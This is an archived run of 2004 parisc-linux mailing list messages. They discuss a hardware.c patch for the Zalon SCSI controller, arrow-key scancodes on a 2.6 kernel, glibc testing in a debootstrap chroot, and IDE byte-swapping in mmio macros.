Message-ID: <53604.193.161.152.244.1078831651.squirrel@www.puszczka.com>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com> 
	<20040309053615.GA11669@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623250 6395 80.91.229.3 (22 Nov 2014 02:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: ajwalker@broadpark.no  Tue Mar  9 04:19:42 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4BBE4879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 04:19:41 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47]) by mail.broadpark.no (Postfix) with ESMTP
	id C8E828661; Tue,  9 Mar 2004 12:19:40 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 29B9382EF; Tue,  9 Mar 2004 12:27:31 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Tue, 9 Mar 2004 12:27:31 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
In-Reply-To: <20040309053615.GA11669@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 11:19:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21022

> On Mon, Mar 08, 2004 at 12:28:37PM +0100, Andy Walker wrote:
>> Why is 8/12 (0x00089) reported as unknown in the device table and in
proc/interrupts? Its the Zalon HVD SCSI.
> ...
>> 6. unknown device at 0xfff8c000 [8/12] { 4, 0x0, 0x03c, 0x00089 }
>
> It means we don't have an entry for Zalon in
arch/parisc/kernel/hardware.c
> Can you submit a patch for that?
> (I confess: I'm being very lazy tonight and don't want to figure what
needs to go into the hardware.c array)

Try this then. I just followed the pattern for B160L, C110 et. al.

--- linux-2.6.4-rc1-pa3.bak/arch/parisc/kernel/hardware.c	Tue Mar  9
10:05:25 2004
+++ linux-2.6.4-rc1-pa3/arch/parisc/kernel/hardware.c	Tue Mar  9 10:27:23
2004
@@ -334,6 +334,7 @@
 	{HPHW_A_DMA, 0x027, 0x00089, 0x80, "Piranha 100 FW-SCSI"},
 	{HPHW_A_DMA, 0x032, 0x00089, 0x80, "Raven T' Core FW-SCSI"},
 	{HPHW_A_DMA, 0x03b, 0x00089, 0x80, "Raven U/L2 Core FW-SCSI"},
+	{HPHW_A_DMA, 0x03c, 0x00089, 0x80, "Merlin 132 Core FW-SCSI"},
 	{HPHW_A_DMA, 0x03d, 0x00089, 0x80, "Merlin 160 Core FW-SCSI"},
 	{HPHW_A_DMA, 0x044, 0x00089, 0x80, "Mohawk Core FW-SCSI"},
 	{HPHW_A_DMA, 0x051, 0x00089, 0x80, "Firehawk FW-SCSI"},

There are other issues with the hardware.c array though. I guess they're
not critical, and I've no idea how to resolve them as they seem to
indicate duplication on HP's part. I guess this is old news:

1. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
2. Merlin+ 132 Dino RS-232 at 0xfff83000 [3] { 10, 0x0, 0x022, 0x0008c }
5. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
19. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085},
   additional addresses: 0xf0011000

- Merlin+ 132 is B132L+, as far as I know. But this machine is
  a plain Merlin/B132L. The Dino ports are marked Merlin+. Weird.
  Could this imply mean Dino was upgraded to a non-broken rev. using
  Merlin+ parts? There are separate items in hardware.c for 'Merlin
  132 Dino PS/2 Port', and 'Merlin 132 Dino RS-232' but these don't
  match.

- what's listed as 'Coral SGC Graphics' is actually an A4071B_LZ GSC
  card, aka. HCRX-24 with hardware acceleration board. No separate items
  in hardware.c for any of A407[01][AB] or H?CRX-(8|24).

- what's listed as 'Gecko GSC Core Graphics' on my machine is actually
  the 'Merlin 132 Core Graphics' i.e. the builtin Vis-EG. There is a
  separate item in hardware.c for 'Merlin 132 Core Graphics' but it
  doesn't match.

BTW: Firmware rev. is 6.1 (i.e. latest available)

cheers,
-Andy



From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: broken keyboard driver on 2.6.3
Date: Tue, 9 Mar 2004 14:30:19 +0200 (EET)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0403091426380.28934-100000__13318.6720930555$1416623251$gmane$org@hal.pp.fishpool.fi>
References: <200403061226.50883.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416623251 6397 80.91.229.3 (22 Nov 2014 02:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:31 +0000 (UTC)
Cc: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org, debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org  Tue Mar  9 05:30:23 2004
Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Delivered-To: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (seven.fishpool.fi [195.197.229.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2004948F9
	for <parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>;
	Tue,  9 Mar 2004 05:30:23 -0700 (MST)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1B0gNH-0008IC-00; Tue, 09 Mar 2004 14:30:19 +0200
In-Reply-To: <200403061226.50883.deller-Mmb7MZpHnFY@public.gmane.org>
X-Archive: encrypt
X-BeenThere: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>
List-Help: <mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 12:30:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21023

On Sat, 6 Mar 2004, Helge Deller wrote:

> On Friday 05 March 2004 10:58, Martin-=C9ric Racine wrote:
> > One thing I noticed today, when using the 712 from the keyboard (which =
I almost
> > never do), is that the cursor arrows near the keypad are broken:
> >=20
> > In menuconfig, pressing any arrow kills the script with an abort messag=
e; in
> > Nano, the keys are completely ignored.  However, 2.4.24-pa0 works as ex=
pected.

I wanted to point out that this only seems to affect ncurse-based software.=
 For
instance, using Up/Down to cycle Bash commandline history still works.

> What does "showkey -s" reports if you press those keys ?

I pressed PageUp, PageDown, Up, Down, Left, Right and got:

press any key (program terminates after 10s of last keypress)...
0xe0 0x2a 0xe0 0x37 0xe0 0x49 0xe0 0xc9 0xe0 0xaa 0xe0 0xb7
0xe0 0x2a 0xe0 0x37 0xe0 0x51 0xe0 0xd1 0xe0 0xaa 0xe0 0xb7
0xe0 0x2a 0xe0 0x37 0xe0 0x48 0xe0 0xc8 0xe0 0xaa 0xe0 0xb7
0xe0 0x2a 0xe0 0x37 0xe0 0x50 0xe0 0xd0 0xe0 0xaa 0xe0 0xb7
0xe0 0x2a 0xe0 0x37 0xe0 0x4b 0xe0 0xcb 0xe0 0xaa 0xe0 0xb7
0xe0 0x2a 0xe0 0x37 0xe0 0x4d 0xe0 0xcd 0xe0 0xaa 0xe0 0xb7
<q-funk@zarya:/home/q-funk>$

> Could you mail me privately your bootlog ?

Done.

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.pp.fishpool.fi/~q-funk/



From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?RE=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Tue, 9 Mar 2004 14:49:44 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <404782C800002FD2@ocpmta1.freegates.net>
References: <404782C800002A2F@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623251 6399 80.91.229.3 (22 Nov 2014 02:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Mar  9 06:49:47 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 313BB48BA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 06:49:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B0hc8-0001dp-00; Tue, 09 Mar 2004 14:49:44 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 9 Mar 2004 14:49:44 +0100
In-Reply-To: <404782C800002A2F@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 13:49:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21024

Carlos,

>>Joel,
>>
>>Is there any chance that you could do some testing for me please?
>
>Just let me find a free disk :)
>
>I will advise ;)

Good new I have one (just met a small pb with se terminator: apparently fixed
now).

>>1. Use debootstrap to build a chroot (/mnt/chroot)
>
>BTW which install should I install: man debootstrap give the fllowing example
>deboostrap woody ./woody-chroot http://ftp.cx.debian.org/debian
>
>Well not familiar with debootstrap but I presume that ./woody-chroot would
>be here /mnt/chroot and ftp.cx.debian.org my nearest debian repository.

>But my question is: would you like I build a woody or would you prefer a
>sarge?

For the moment I tested with sarge ended with:
"I: Base system installed successfully."

:)

let me know anyway if you would prefer woody, it doesn't required so much
time :) 

>>2. Compile glibc with --prefix=/mnt/chroot

I am going on...

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Tue, 9 Mar 2004 10:03:19 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20040309150318.GD22721@baldric.uwo.ca>
References: <404782C800002A2F@ocpmta1.freegates.net>
	<404782C800002FD2@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623251 6401 80.91.229.3 (22 Nov 2014 02:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Mar  9 08:05:34 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 769B04952
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:05:34 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B0ilL-0008CS-00; Tue, 09 Mar 2004 10:03:19 -0500
Content-Disposition: inline
In-Reply-To: <404782C800002FD2@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (36% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:05:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21025

On Tue, Mar 09, 2004 at 02:49:44PM +0100, Joel Soete wrote:
> >BTW which install should I install: man debootstrap give the fllowing example
> >deboostrap woody ./woody-chroot http://ftp.cx.debian.org/debian
> >But my question is: would you like I build a woody or would you prefer a
> >sarge?
> 
> For the moment I tested with sarge ended with:
> "I: Base system installed successfully."
> 
> :)
> 
> let me know anyway if you would prefer woody, it doesn't required so much
> time :) 

Joel,

Both unstable, testing, and stable should technically be tested with the
new glibc :) You can test with whichever you like right now.

Never *ever* install glibc on a running system, always install to the
chroot, and jump into the chroot.

c.



From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: 09 Mar 2004 10:07:54 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <kfhk71uawj9.fsf@perpugilliam.csclub.uwaterloo.ca>
References: <404782C800002FD2@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623251 6404 80.91.229.3 (22 Nov 2014 02:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:31 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: ja2morri@csclub.uwaterloo.ca  Tue Mar  9 08:08:10 2004
Return-Path: <ja2morri@csclub.uwaterloo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CAE14952
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:08:10 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id DDEBF10BB54; Tue,  9 Mar 2004 10:07:55 -0500 (EST)
Original-Sender: ja2morri@perpugilliam.csclub.uwaterloo.ca
In-Reply-To: <404782C800002FD2@ocpmta1.freegates.net>
Original-Lines: 6
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:08:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21026


> >>2. Compile glibc with --prefix=/mnt/chroot

 Shouldn't this be --prefix=/usr then make install_root=/mnt/chroot install?

Jim


From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Tue, 9 Mar 2004 10:09:10 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20040309150910.GE22721@baldric.uwo.ca>
References: <404782C800002FD2@ocpmta1.freegates.net>
	<kfhk71uawj9.fsf@perpugilliam.csclub.uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623252 6409 80.91.229.3 (22 Nov 2014 02:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Morrison <ja2morri@csclub.uwaterloo.ca>
Original-X-From: carlos@baldric.uwo.ca  Tue Mar  9 08:11:19 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FFD44952
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:11:19 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B0ir1-0008EP-00; Tue, 09 Mar 2004 10:09:11 -0500
Content-Disposition: inline
In-Reply-To: <kfhk71uawj9.fsf@perpugilliam.csclub.uwaterloo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (36% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:11:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21027

On Tue, Mar 09, 2004 at 10:07:54AM -0500, James Morrison wrote:
>  Shouldn't this be --prefix=/usr then make install_root=/mnt/chroot install?

Yes, you can go that way, I think just prefix works aswell.
Unless you have seen this fail before?

Glibc doesn't do any path mangling so far as I know.

c.



From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Results of (IDE) kernel tests with modified io.c
Date: Tue, 9 Mar 2004 10:25:24 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200403091525.i29FPOid015380@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623252 6411 80.91.229.3 (22 Nov 2014 02:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:32 +0000 (UTC)
Cc: randolph@tausq.org, grundler@parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Mar  9 08:25:28 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 872A04960
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:25:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i29FPOqE015381; Tue, 9 Mar 2004 10:25:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i29FPOid015380;
	Tue, 9 Mar 2004 10:25:24 -0500 (EST)
In-Reply-To: <Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie> from "M. Grabert"
	at Mar 9, 2004 07:11:16 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:25:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21028

> But what I'm wondering about is why the Silicon Image driver
> (always) detects the Seagate ST311022A hard drive as "TS130220A2".

Bytes are swapped.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Tue, 9 Mar 2004 15:26:00 +0000 (GMT)
Lines: 92
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623252 6413 80.91.229.3 (22 Nov 2014 02:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:32 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: xam@cs.ucc.ie  Tue Mar  9 08:26:03 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C29F4960
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 08:26:02 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i29FQ15a004630;
	Tue, 9 Mar 2004 15:26:01 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040309072917.GN1113@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 15:26:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21029

On Mon, 8 Mar 2004, Randolph Chung wrote:

> > But what I'm wondering about is why the Silicon Image driver
> > (always) detects the Seagate ST311022A hard drive as "TS130220A2".
> > Since it uses mmio instead of PIO as the other drivers, maybe there is
> > some big-endian problem in the Linux/PA-RISC mmio code? But then this
> > problem must be somewhere in the IDE code, since all mmio in general
> > seems to be working fine!
>
> oh, for mmio you need to fix the macros in include/asm-parisc/ide.h. the
> ones in io.c are for pio access. the mmio ones are new, i think, and
> haven't been fixed properly (__ide_mm_insw, etc) -- you can try
> replacing readw with __raw_readw, etc.

I also changed readl, writew and writel accordingly (for 2.6.4-rc1-pa3)

> can you also try the native-mode fixup? something like this (sorry
> it's not in patch format, my tree is a bit of a mess right now and it's
> late....)

